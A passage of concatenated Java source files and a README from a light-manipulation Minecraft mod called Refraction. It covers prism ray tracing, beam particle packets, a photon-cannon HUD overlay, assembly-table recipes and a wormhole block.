false; } @Override public boolean isNormalCube(IBlockState state, IBlockAccess world, BlockPos pos) { return false; } @Override public BlockPrism.RayTraceResultData<Vec3d> collisionRayTraceLaser(@Nonnull IBlockState blockState, @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull Vec3d startRaw, @Nonnull Vec3d endRaw) { EnumFacing facing = blockState.getValue(FACING); Matrix4 matrixA = new Matrix4(); Matrix4 matrixB = new Matrix4(); switch (facing) { case UP: case DOWN: case EAST: break; case NORTH: matrixA.rotate(Math.toRadians(270), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(270), new Vec3d(0, 1, 0)); break; case SOUTH: matrixA.rotate(Math.toRadians(90), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(90), new Vec3d(0, 1, 0)); break; case WEST: matrixA.rotate(Math.toRadians(180), new Vec3d(0, -1, 0)); matrixB.rotate(Math.toRadians(180), new Vec3d(0, 1, 0)); break; } Vec3d a = new Vec3d(0.001, 0.001, 0), // This needs to be offset b = new Vec3d(1, 0.001, 0.5), c = new Vec3d(0.001, 0.001, 1), // and this too. Just so that blue refracts in ALL cases A = a.add(0, 0.998, 0), B = b.add(0, 0.998, 0), // these y offsets are to fix translocation issues C = c.add(0, 0.998, 0); Tri[] tris = new Tri[]{ new Tri(a, b, c), new Tri(A, C, B), new Tri(a, c, C), new Tri(a, C, A), new Tri(a, A, B), new Tri(a, B, b), new Tri(b, B, C), new Tri(b, C, c) }; Vec3d start = matrixA.apply(startRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Vec3d end = matrixA.apply(endRaw.subtract(new Vec3d(pos)).subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5); Tri hitTri = null; Vec3d hit = null; double shortestSq = Double.POSITIVE_INFINITY; for (Tri tri : tris) { Vec3d v = tri.trace(start, end); if (v != null) { double distSq = start.subtract(v).lengthSquared(); if (distSq < shortestSq) { hit = v; shortestSq = distSq; hitTri = tri; } } } if (hit == null) return null; return new RayTraceResultData<Vec3d>(matrixB.apply(hit.subtract(0.5, 0.5, 0.5)).add(0.5, 0.5, 0.5).add(new Vec3d(pos)), EnumFacing.UP, pos).data(matrixB.apply(hitTri.normal())); } @Override public boolean isToolEffective(String type,@Nonnull IBlockState state) { return super.isToolEffective(type, state) || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } public static class RayTraceResultData<T> extends RayTraceResult { public T data; public RayTraceResultData(Vec3d hitVecIn, EnumFacing sideHitIn, BlockPos blockPosIn) { this(RayTraceResult.Type.BLOCK, hitVecIn, sideHitIn, blockPosIn); } public RayTraceResultData(Vec3d hitVecIn, EnumFacing sideHitIn) { this(RayTraceResult.Type.BLOCK, hitVecIn, sideHitIn, BlockPos.ORIGIN); } public RayTraceResultData(Entity entityIn) { this(entityIn, new Vec3d(entityIn.posX, entityIn.posY, entityIn.posZ)); } public RayTraceResultData(RayTraceResult.Type typeIn, Vec3d hitVecIn, EnumFacing sideHitIn, BlockPos blockPosIn) { super(typeIn, hitVecIn, sideHitIn, blockPosIn); } public RayTraceResultData(Entity entityHitIn, Vec3d hitVecIn) { super(entityHitIn, hitVecIn); } public RayTraceResultData<T> data(T data) { this.data = data; return this; } } } <file_sep>package com.teamwizardry.refraction.common.effect; import com.teamwizardry.refraction.api.beam.Effect; import javax.annotation.Nonnull; import java.awt.*; public class EffectMundane extends Effect { @Nonnull protected Color getEffectColor() { return Color.WHITE; } } <file_sep>package com.teamwizardry.refraction.common.network; import com.teamwizardry.librarianlib.features.math.interpolate.StaticInterp; import com.teamwizardry.librarianlib.features.math.interpolate.numeric.InterpFloatInOut; import com.teamwizardry.librarianlib.features.network.PacketBase; import com.teamwizardry.librarianlib.features.particle.ParticleBuilder; import com.teamwizardry.librarianlib.features.particle.ParticleSpawner; import com.teamwizardry.librarianlib.features.saving.Save; import com.teamwizardry.refraction.api.Constants; import net.minecraft.client.Minecraft; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.fml.common.network.simpleimpl.MessageContext; import java.awt.*; import java.util.concurrent.ThreadLocalRandom; /** * Created by Demoniaque. */ public class PacketBeamParticle extends PacketBase { @Save public Vec3d initPos; @Save public Vec3d endPos; @Save public Color color; public PacketBeamParticle() { } public PacketBeamParticle(Vec3d initPos, Vec3d endPos, Color color) { this.initPos = initPos; this.endPos = endPos; this.color = color; } @Override public void handle(MessageContext messageContext) { if (messageContext.side.isServer()) return; World world = Minecraft.getMinecraft().player.world; // INIT LOC { ParticleBuilder particle1 = new ParticleBuilder(3); particle1.setRender(new ResourceLocation(Constants.MOD_ID, "particles/star")); particle1.disableRandom(); particle1.disableMotionCalculation(); particle1.setAlphaFunction(new InterpFloatInOut(0f, 1f)); particle1.setScale(ThreadLocalRandom.current().nextFloat() * 2); particle1.setColor(new Color(color.getRed(), color.getGreen(), color.getBlue(), 10)); ParticleSpawner.spawn(particle1, world, new StaticInterp<>(initPos), 1); if (ThreadLocalRandom.current().nextInt(10) == 0) { ParticleBuilder particle2 = new ParticleBuilder(ThreadLocalRandom.current().nextInt(20, 100)); particle2.setRender(new ResourceLocation(Constants.MOD_ID, "particles/lens_flare_1")); particle2.disableRandom(); particle2.disableMotionCalculation(); particle2.setColor(new Color(color.getRed(), color.getGreen(), color.getBlue(), ThreadLocalRandom.current().nextInt(10, 15))); particle2.setAlphaFunction(new InterpFloatInOut((float) ThreadLocalRandom.current().nextDouble(0, 1), (float) ThreadLocalRandom.current().nextDouble(0, 1))); particle2.setScale((float) ThreadLocalRandom.current().nextDouble(0.5, 2.5)); ParticleSpawner.spawn(particle2, world, new StaticInterp<>(initPos), 1); } } // END LOC { ParticleBuilder particle1 = new ParticleBuilder(3); particle1.setRender(new ResourceLocation(Constants.MOD_ID, "particles/star")); particle1.disableRandom(); particle1.disableMotionCalculation(); particle1.setAlphaFunction(new InterpFloatInOut(0f, 1f)); particle1.setScale(ThreadLocalRandom.current().nextFloat() * 2); particle1.setColor(new Color(color.getRed(), color.getGreen(), color.getBlue(), 10)); ParticleSpawner.spawn(particle1, world, new StaticInterp<>(endPos), 1); if (ThreadLocalRandom.current().nextInt(10) == 0) { ParticleBuilder particle2 = new ParticleBuilder(ThreadLocalRandom.current().nextInt(20, 100)); particle2.setRender(new ResourceLocation(Constants.MOD_ID, "particles/lens_flare_1")); particle2.disableRandom(); particle2.disableMotionCalculation(); particle2.setColor(new Color(color.getRed(), color.getGreen(), color.getBlue(), ThreadLocalRandom.current().nextInt(10, 15))); particle2.setAlphaFunction(new InterpFloatInOut((float) ThreadLocalRandom.current().nextDouble(0, 1), (float) ThreadLocalRandom.current().nextDouble(0, 1))); particle2.setScale((float) ThreadLocalRandom.current().nextDouble(0.5, 2.5)); ParticleSpawner.spawn(particle2, world, new StaticInterp<>(endPos), 1); } } } } <file_sep>package com.teamwizardry.refraction.common.proxy; import com.teamwizardry.librarianlib.features.network.PacketHandler; import com.teamwizardry.refraction.Refraction; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.internal.ClientRunnable; import com.teamwizardry.refraction.api.internal.IInternalHandler; import com.teamwizardry.refraction.common.network.PacketLaserFX; import net.minecraftforge.fml.common.network.NetworkRegistry; import javax.annotation.Nonnull; import java.awt.*; /** * @author WireSegal * Created at 11:57 PM on 12/7/16. */ public final class RefractionInternalHandler implements IInternalHandler { @Override public void fireLaserPacket(@Nonnull Beam beam) { PacketHandler.NETWORK.sendToAllAround(new PacketLaserFX(beam.initLoc, beam.finalLoc, beam.getColor()), new NetworkRegistry.TargetPoint(beam.world.provider.getDimension(), beam.initLoc.x, beam.initLoc.y, beam.initLoc.z, 256)); } @Override public void runIfClient(@Nonnull ClientRunnable runnable) { Refraction.proxy.runIfClient(runnable); } } <file_sep>package com.teamwizardry.refraction.common.item; import com.teamwizardry.librarianlib.features.base.item.ItemMod; import net.minecraft.item.ItemStack; public class ItemReflectiveAlloy extends ItemMod { public ItemReflectiveAlloy() { super("reflective_alloy"); } @Override public boolean isBeaconPayment(ItemStack stack) { return true; } } <file_sep>package com.teamwizardry.refraction.client.core; import com.teamwizardry.librarianlib.core.client.ClientTickHandler; import com.teamwizardry.librarianlib.features.sprite.Sprite; import com.teamwizardry.librarianlib.features.sprite.Texture; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.IAmmo; import com.teamwizardry.refraction.api.IAmmoConsumer; import com.teamwizardry.refraction.api.Utils; import com.teamwizardry.refraction.init.ModItems; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.ScaledResolution; import net.minecraft.client.renderer.BufferBuilder; import net.minecraft.client.renderer.GlStateManager; import net.minecraft.client.renderer.Tessellator; import net.minecraft.client.renderer.vertex.DefaultVertexFormats; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.nbt.NBTTagCompound; import net.minecraft.util.ResourceLocation; import net.minecraft.util.math.MathHelper; import net.minecraftforge.client.event.RenderGameOverlayEvent; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import org.lwjgl.opengl.GL11; import java.awt.*; import java.util.HashSet; import java.util.List; import java.util.Set; /** * Created by Demoniaque. */ public class GunOverlay { public static final GunOverlay INSTANCE = new GunOverlay(); private static final int SELECTOR_RADIUS = 30; private static final int SELECTOR_WIDTH = 10; private static final int SELECTOR_SHIFT = 3; private static final float SELECTOR_ALPHA = 0.7F; private static Texture texBox; private static Texture texHandleVignette; private static Sprite sprBox; private static Sprite sprHandleVignette; static { Utils.HANDLER.runIfClient(() -> { texBox = new Texture(new ResourceLocation(Constants.MOD_ID, "textures/gui/ammoselector/gun_box.png")); texHandleVignette = new Texture(new ResourceLocation(Constants.MOD_ID, "textures/gui/ammoselector/gun_vignette.png")); sprBox = texBox.getSprite("box", 28, 135); sprHandleVignette = texHandleVignette.getSprite("box", 28, 135); }); } public GunOverlay() { MinecraftForge.EVENT_BUS.register(this); } @SubscribeEvent public void overlay(RenderGameOverlayEvent.Post event) { ItemStack stack = getItemInHand(ModItems.PHOTON_CANNON); if (event.getType() != RenderGameOverlayEvent.ElementType.HOTBAR) return; if (stack == null) return; ScaledResolution res = new ScaledResolution(Minecraft.getMinecraft()); int posX = res.getScaledWidth(); int posY = res.getScaledHeight(); NBTTagCompound compound = stack.getTagCompound(); EntityPlayer player = Minecraft.getMinecraft().player; if (player.isSneaking()) { List<ItemStack> ammoList = IAmmoConsumer.findAllAmmo(player); Set<Color> colors = new HashSet<>(); for (ItemStack item : ammoList) { IAmmo ammo = (IAmmo) item.getItem(); colors.add(new Color(ammo.getInternalColor(item))); } int numSegmentsPerArc = (int) Math.ceil(360d / colors.size()); float anglePerColor = (float) (2 * Math.PI / colors.size()); float anglePerSegment = anglePerColor / (numSegmentsPerArc); float angle = 0; Color gunColor = Color.WHITE; if (compound != null) if (compound.hasKey("color")) gunColor = new Color(compound.getInteger("color")); GlStateManager.pushMatrix(); GlStateManager.enableAlpha(); GlStateManager.enableBlend(); GlStateManager.disableTexture2D(); GlStateManager.translate(posX / 2, posY / 2, 0); Tessellator tess = Tessellator.getInstance(); BufferBuilder bb = tess.getBuffer(); for (Color color : colors) { float[] colorVals = color.getRGBColorComponents(null); bb.begin(GL11.GL_QUADS, DefaultVertexFormats.POSITION_COLOR); for (int i = 0; i < numSegmentsPerArc; i++) { int currentRadius = SELECTOR_RADIUS + (gunColor.equals(color) ? SELECTOR_SHIFT : 0); float currentAngle = i * anglePerSegment + angle; bb.pos((currentRadius - SELECTOR_WIDTH / 2) * MathHelper.cos(currentAngle), (currentRadius - SELECTOR_WIDTH / 2) * MathHelper.sin(currentAngle), 0).color(colorVals[0], colorVals[1], colorVals[2], SELECTOR_ALPHA).endVertex(); bb.pos((currentRadius - SELECTOR_WIDTH / 2) * MathHelper.cos(currentAngle + anglePerSegment), (currentRadius - SELECTOR_WIDTH / 2) * MathHelper.sin(currentAngle + anglePerSegment), 0).color(colorVals[0], colorVals[1], colorVals[2], SELECTOR_ALPHA).endVertex(); bb.pos((currentRadius + SELECTOR_WIDTH / 2) * MathHelper.cos(currentAngle + anglePerSegment), (currentRadius + SELECTOR_WIDTH / 2) * MathHelper.sin(currentAngle + anglePerSegment), 0).color(colorVals[0], colorVals[1], colorVals[2], SELECTOR_ALPHA).endVertex(); bb.pos((currentRadius + SELECTOR_WIDTH / 2) * MathHelper.cos(currentAngle), (currentRadius + SELECTOR_WIDTH / 2) * MathHelper.sin(currentAngle), 0).color(colorVals[0], colorVals[1], colorVals[2], SELECTOR_ALPHA).endVertex(); } tess.draw(); angle += anglePerColor; } GlStateManager.enableTexture2D(); GlStateManager.disableBlend(); GlStateManager.disableAlpha(); GlStateManager.popMatrix(); } // RIGHT SIDEBAR // GlStateManager.pushMatrix(); GlStateManager.enableAlpha(); GlStateManager.enableBlend(); GlStateManager.translate(posX, posY / 2, 0); GlStateManager.color(1f, 1f, 1f); if (compound != null) { if (compound.hasKey("color")) { texBox.bind(); sprBox.draw(ClientTickHandler.getTicks(), -28, -sprBox.getHeight() / 2); Color color = new Color(compound.getInteger("color")); GlStateManager.color(color.getRed(), color.getGreen(), color.getBlue()); int width = 0; List<ItemStack> ammoList = IAmmoConsumer.findAllAmmo(Minecraft.getMinecraft().player, color); for (ItemStack ammo : ammoList) { IAmmo ammoItem = (IAmmo) ammo.getItem(); width = Math.min(28, width + (int) (ammoItem.remainingPercentage(ammo) * 28)); } texHandleVignette.bind(); GlStateManager.translate(-posX, -posY / 2, 0); GlStateManager.rotate(180, 0, 0, 1); GlStateManager.translate(-28, -sprHandleVignette.getHeight() / 2, 0); GlStateManager.translate(-posX, -posY / 2, 0); GlStateManager.translate(28, -1, 0); texHandleVignette.bind(); sprHandleVignette.drawClipped(ClientTickHandler.getTicks(), 0, 0, width, 135); } } GlStateManager.translate(-posX, -posY / 2, 0); GlStateManager.popMatrix(); // RIGHT SIDEBAR // } private ItemStack getItemInHand(Item item) { ItemStack stack = Minecraft.getMinecraft().player.getHeldItemMainhand(); if (stack == ItemStack.EMPTY) stack = Minecraft.getMinecraft().player.getHeldItemOffhand(); if (stack == ItemStack.EMPTY) return null; if (stack.getItem() != item) return null; return stack; } } <file_sep>package com.teamwizardry.refraction.api.raytrace; import com.google.common.base.Predicate; import com.teamwizardry.librarianlib.features.math.Vec2d; import net.minecraft.block.Block; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.Entity; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.*; import net.minecraft.world.World; import javax.annotation.Nonnull; import java.util.HashSet; import java.util.List; /** * Copied from Wizardry */ public class RayTrace { private final World world; private final Vec3d slope; private final Vec3d origin; private final double range; private boolean skipBlocks = false; private boolean returnLastUncollidableBlock = true; private boolean skipEntities = false; private boolean ignoreBlocksWithoutBoundingBoxes = false; private Predicate<Entity> predicate; private Predicate<Block> predicateBlock; private HashSet<BlockPos> skipBlockList = new HashSet<>(); public RayTrace(@Nonnull World world, @Nonnull Vec3d slope, @Nonnull Vec3d origin, double range) { this.world = world; this.slope = slope; this.origin = origin; this.range = range; } public RayTrace addBlockToSkip(@Nonnull BlockPos pos) { skipBlockList.add(pos); return this; } public RayTrace setEntityFilter(Predicate<Entity> predicate) { this.predicate = predicate; return this; } public RayTrace setBlockFilter(Predicate<Block> predicate) { this.predicateBlock = predicate; return this; } public RayTrace setReturnLastUncollidableBlock(boolean returnLastUncollidableBlock) { this.returnLastUncollidableBlock = returnLastUncollidableBlock; return this; } public RayTrace setIgnoreBlocksWithoutBoundingBoxes(boolean ignoreBlocksWithoutBoundingBoxes) { this.ignoreBlocksWithoutBoundingBoxes = ignoreBlocksWithoutBoundingBoxes; return this; } public RayTrace setSkipEntities(boolean skipEntities) { this.skipEntities = skipEntities; return this; } private boolean isOrigin(BlockPos pos) { return (new BlockPos(origin) == pos); } /** * Credits to Masa on discord for providing the base of the code. I heavily modified it. * This raytracer will precisely trace entities and blocks (including misses) without snapping to any grid. * * @return The RaytraceResult. */ @Nonnull public RayTraceResult trace() { Vec3d lookVec = origin.add(slope.scale(range)); RayTraceResult entityResult = null; RayTraceResult blockResult;// world.rayTraceBlocks(origin, lookVec, false, ignoreBlocksWithoutBoundingBoxes, returnLastUncollidableBlock); if (!skipEntities) { Entity targetEntity = null; RayTraceResult entityTrace = null; AxisAlignedBB bb = new AxisAlignedBB(origin.x, origin.y, origin.z, lookVec.x, lookVec.y, lookVec.z); List<Entity> list = world.getEntitiesWithinAABB(Entity.class, bb.grow(range, range, range), input -> { if (predicate == null) return true; else return predicate.test(input); }); double closest = 0.0D; for (Entity entity : list) { if (entity == null) continue; bb = entity.getEntityBoundingBox(); RayTraceResult traceTmp = bb.calculateIntercept(lookVec, origin); if (traceTmp != null) { double tmp = origin.distanceTo(traceTmp.hitVec); if (tmp < closest || closest == 0.0D) { targetEntity = entity; entityTrace = traceTmp; closest = tmp; } } } if (targetEntity != null) entityResult = new RayTraceResult(targetEntity, entityTrace.hitVec); } blockResult = traceBlock(origin, lookVec); if ( blockResult == null) blockResult = new RayTraceResult( RayTraceResult.Type.BLOCK, lookVec, EnumFacing.getFacingFromVector((float) lookVec.x, (float) lookVec.y, (float) lookVec.z), new BlockPos(lookVec)); return ( entityResult != null && origin.distanceTo(entityResult.hitVec) < origin.distanceTo(blockResult.hitVec)) ? entityResult : blockResult; } private RayTraceResult traceBlock(@Nonnull Vec3d start, @Nonnull Vec3d end) { RayTraceResult raytraceresult2 = null; int i = MathHelper.floor(end.x); int j = MathHelper.floor(end.y); int k = MathHelper.floor(end.z); int l = MathHelper.floor(start.x); int i1 = MathHelper.floor(start.y); int j1 = MathHelper.floor(start.z); int k1 = 200; while (k1-- >= 0) { if (l == i && i1 == j && j1 == k) { return returnLastUncollidableBlock ? raytraceresult2 : null; } boolean flag2 = true; boolean flag = true; boolean flag1 = true; double d0 = 999.0D; double d1 = 999.0D; double d2 = 999.0D; if (i > l) { d0 = (double) l + 1.0D; } else if (i < l) { d0 = (double) l + 0.0D; } else { flag2 = false; } if (j > i1) { d1 = (double) i1 + 1.0D; } else if (j < i1) { d1 = (double) i1 + 0.0D; } else { flag = false; } if (k > j1) { d2 = (double) j1 + 1.0D; } else if (k < j1) { d2 = (double) j1 + 0.0D; } else { flag1 = false; } double d3 = 999.0D; double d4 = 999.0D; double d5 = 999.0D; double d6 = end.x - start.x; double d7 = end.y - start.y; double d8 = end.z - start.z; if (flag2) { d3 = (d0 - start.x) / d6; } if (flag) { d4 = (d1 - start.y) / d7; } if (flag1) { d5 = (d2 - start.z) / d8; } if (d3 == -0.0D) { d3 = -1.0E-4D; } if (d4 == -0.0D) { d4 = -1.0E-4D; } if (d5 == -0.0D) { d5 = -1.0E-4D; } EnumFacing enumfacing; if (d3 < d4 && d3 < d5) { enumfacing = i > l ? EnumFacing.WEST : EnumFacing.EAST; start = new Vec3d(d0, start.y + d7 * d3, start.z + d8 * d3); } else if (d4 < d5) { enumfacing = j > i1 ? EnumFacing.DOWN : EnumFacing.UP; start = new Vec3d(start.x + d6 * d4, d1, start.z + d8 * d4); } else { enumfacing = k > j1 ? EnumFacing.NORTH : EnumFacing.SOUTH; start = new Vec3d(start.x + d6 * d5, start.y + d7 * d5, d2); } l = MathHelper.floor(start.x) - (enumfacing == EnumFacing.EAST ? 1 : 0); i1 = MathHelper.floor(start.y) - (enumfacing == EnumFacing.UP ? 1 : 0); j1 = MathHelper.floor(start.z) - (enumfacing == EnumFacing.SOUTH ? 1 : 0); BlockPos targetPos = new BlockPos(l, i1, j1); if (!world.isBlockLoaded(targetPos)) { return returnLastUncollidableBlock ? raytraceresult2 : null; } IBlockState targetState = world.getBlockState(targetPos); Block targetBlock = targetState.getBlock(); if (!isOrigin(targetPos)) { if (!ignoreBlocksWithoutBoundingBoxes || targetState.getMaterial() == Material.PORTAL || targetState.getCollisionBoundingBox(world, targetPos) != Block.NULL_AABB) { if (targetBlock.canCollideCheck(targetState, false)) { RayTraceResult raytraceresult = targetBlock instanceof ILaserTrace ? ((ILaserTrace) targetBlock).collisionRayTraceLaser(targetState, world, targetPos, start, end) : targetState.collisionRayTrace(world, targetPos, start, end); if (raytraceresult != null) { return raytraceresult; } } else { raytraceresult2 = new RayTraceResult(RayTraceResult.Type.MISS, start, enumfacing, targetPos); } } } } return returnLastUncollidableBlock ? raytraceresult2 : null; } }<file_sep># Refraction [![Build Status](https://travis-ci.org/TeamWizardry/TMT-Refraction.svg?branch=master)](https://travis-ci.org/TeamWizardry/TMT-Refraction) A light manipulation based mod for The Modding Trials https://minecraft.curseforge.com/projects/refraction Minetweaker Support: mods.refraction.AssemblyTable.addRecipe(name, output, inputs, minLaserStrenght, maxLaserStrength, minRed, maxRed, minGreen, maxGreen, minBlue, maxBlue) mods.refraction.AssemblyTable.remove(output) Examples: This will create a recipe for the white creative filter, requiring 3 lenses + 3 bonemeal with a high strength orange beam (>128 strength, full red, half green, and no blue) mods.refraction.AssemblyTable.addRecipe("name", <refraction:filter:0>, [<refraction:lens>, <refraction:lens>, <refraction:lens>, <minecraft:dye:15>, <minecraft:dye:15>, <minecraft:dye:15>], 128, 255, 255, 255, 96, 160, 0, 0) This will remove the recipe for the prism mods.refraction.AssemblyTable.remove(<refraction:prism>) <file_sep>package com.teamwizardry.refraction.api.beam; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; /** * @author WireSegal * Created at 9:53 PM on 12/9/16. */ public interface IBeamImmune { boolean isImmune(@Nonnull World world, @Nonnull BlockPos pos); } <file_sep>package com.teamwizardry.refraction.init.recipies; import com.teamwizardry.refraction.api.recipe.ColorConsumingBehavior; import com.teamwizardry.refraction.init.ModBlocks; import com.teamwizardry.refraction.init.ModItems; import net.minecraft.init.Blocks; import net.minecraft.item.ItemStack; import net.minecraftforge.oredict.OreDictionary; import java.awt.*; import static com.teamwizardry.refraction.api.lib.LibOreDict.*; import static com.teamwizardry.refraction.api.recipe.AssemblyBehaviors.register; /** * Created by Demoniaque */ public class ModAssemblyRecipes { public static void init() { // T0 register("mirror", new ItemStack(ModBlocks.MIRROR), new Color(255, 255, 255, 16), new Color(255, 255, 255, 64), Blocks.GLASS_PANE, Blocks.GLASS_PANE, Blocks.GLASS_PANE, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY); // T1 register("prism", new ItemStack(ModBlocks.PRISM), new Color(255, 255, 255, 32), new Color(255, 255, 255, 64), LENS, LENS, LENS, LENS, LENS, LENS); // T2 register("reflection_chamber", new ItemStack(ModBlocks.REF_CHAMBER), new Color(255, 96, 0, 16), new Color(255, 160, 0, 64), LENS, LENS, LENS, LENS, LENS, LENS, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, "ingotIron", "ingotIron", "ingotIron"); register("splitter", new ItemStack(ModBlocks.SPLITTER), new Color(0, 255, 0, 16), new Color(0, 255, 0, 32), LENS, LENS, LENS, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY); register("sensor", new ItemStack(ModBlocks.SENSOR), new Color(255, 96, 0, 16), new Color(255, 160, 0, 64), LENS, LENS, LENS, LENS, LENS, LENS, "dustRedstone", "dustRedstone", "dustRedstone", "gemDiamond", "gemDiamond"); // T3 register("electric_laser", new ItemStack(ModBlocks.ELECTRIC_LASER), new Color(0, 96, 255, 54), new Color(0, 160, 255, 128), OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, "blockIron", "dustRedstone", "dustRedstone", "dustRedstone", OreDictionary.doesOreNameExist("ingotSilver") ? "ingotSilver" : "gemLapis", OreDictionary.doesOreNameExist("ingotPlatinum") ? "ingotPlatinum" : "gemLapis", REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, LENS, LENS, LENS); register("laser", new ItemStack(ModBlocks.LASER), new Color(255, 64, 64, 32), new Color(255, 106, 106, 128), OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, "blockIron", "dustRedstone", "dustRedstone", "dustRedstone", "dustGlowstone", REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, LENS, LENS, LENS); register("disco", new ItemStack(ModBlocks.DISCO_BALL), new Color(255, 0, 255, 64), new Color(255, 0, 255, 128), "gemDiamond", "gemDiamond", "gemDiamond", "gemDiamond", REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY); register("optic_fiber", new ItemStack(ModBlocks.OPTIC_FIBER, 4), new Color(96, 0, 255, 64), new Color(160, 0, 255, 128), LENS, LENS, LENS, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, "gemDiamond", "gemDiamond"); // T4 register("translocator", new ItemStack(ModBlocks.TRANSLOCATOR, 4), new Color(255, 0, 96, 128), new Color(255, 0, 160, 255), OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, "enderpearl", "ingotIron"); register("electron_exciter", new ItemStack(ModBlocks.ELECTRON_EXCITER), new Color(0, 255, 96, 128), new Color(0, 255, 160, 255), LENS, LENS, LENS, LENS, LENS, LENS, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, REFLECTIVE_ALLOY, new ItemStack(ModBlocks.SPLITTER), OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER, OPTIC_FIBER); // T5 register("axyz", new ItemStack(ModBlocks.AXYZ), new Color(96, 1, 255, 200), new Color(160, 64, 255, 255), TRANSLOCATOR, TRANSLOCATOR, TRANSLOCATOR, TRANSLOCATOR, TRANSLOCATOR, TRANSLOCATOR, Blocks.CHORUS_FLOWER, Blocks.PISTON, Blocks.PISTON); // Other register("ammo", new ColorConsumingBehavior(new ItemStack(ModItems.LIGHT_CARTRIDGE), new ItemStack(ModItems.LIGHT_CARTRIDGE))); register("grenade", new ColorConsumingBehavior(new ItemStack(ModItems.GRENADE), new ItemStack(ModItems.GRENADE))); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.google.common.collect.HashMultimap; import com.teamwizardry.librarianlib.features.base.block.tile.BlockModContainer; import com.teamwizardry.librarianlib.features.utilities.DimWithPos; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.common.tile.TileWormhole; import net.minecraft.block.material.Material; import net.minecraft.block.properties.PropertyEnum; import net.minecraft.block.state.BlockStateContainer; import net.minecraft.block.state.IBlockState; import net.minecraft.entity.EntityLivingBase; import net.minecraft.tileentity.TileEntity; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.awt.*; import java.util.Set; /** * Created by Demoniaque. */ public class BlockWormHole extends BlockModContainer implements ILightSink { public static final PropertyEnum<EnumFacing> FACING = PropertyEnum.create("facing", EnumFacing.class); public static HashMultimap<Color, DimWithPos> wormholes = HashMultimap.create(); public BlockWormHole() { super("wormhole", Material.IRON); setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH)); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { TileEntity tile = world.getTileEntity(pos); if (tile != null) { if (tile instanceof TileWormhole) { ((TileWormhole) tile).handleBeam(beam); } } return true; } @Nullable @Override public TileEntity createTileEntity(World world, IBlockState state) { return new TileWormhole(); } @Override public void breakBlock(World worldIn, BlockPos pos, IBlockState state) { wormholes.keySet().removeIf(color -> { Set<DimWithPos> dimWithPosSet = wormholes.get(color); for (DimWithPos dimWithPos : dimWithPosSet) { if (dimWithPos.getDim() == worldIn.provider.getDimension() && dimWithPos.getPos().toLong() == pos.toLong()) { return true; } } return false; }); super.breakBlock(worldIn, pos, state); } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getStateForPlacement(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer) { return this.getStateFromMeta(meta).withProperty(FACING, facing); } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getStateFromMeta(int meta) { return getDefaultState().withProperty(FACING, EnumFacing.byIndex(meta & 7)); } @Override public int getMetaFromState(IBlockState state) { return state.getValue(FACING).getIndex(); } @Override protected @Nonnull BlockStateContainer createBlockState() { return new BlockStateContainer(this, FACING); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.BlockMod; import com.teamwizardry.librarianlib.features.math.Matrix4; import com.teamwizardry.librarianlib.features.network.PacketHandler; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.PosUtils; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.Effect; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.api.raytrace.ILaserTrace; import com.teamwizardry.refraction.api.raytrace.Tri; import com.teamwizardry.refraction.api.soundmanager.ISoundEmitter; import com.teamwizardry.refraction.api.soundmanager.SoundManager; import com.teamwizardry.refraction.common.network.PacketLaserFX; import com.teamwizardry.refraction.common.tile.TileElectronExciter; import com.teamwizardry.refraction.init.ModBlocks; import 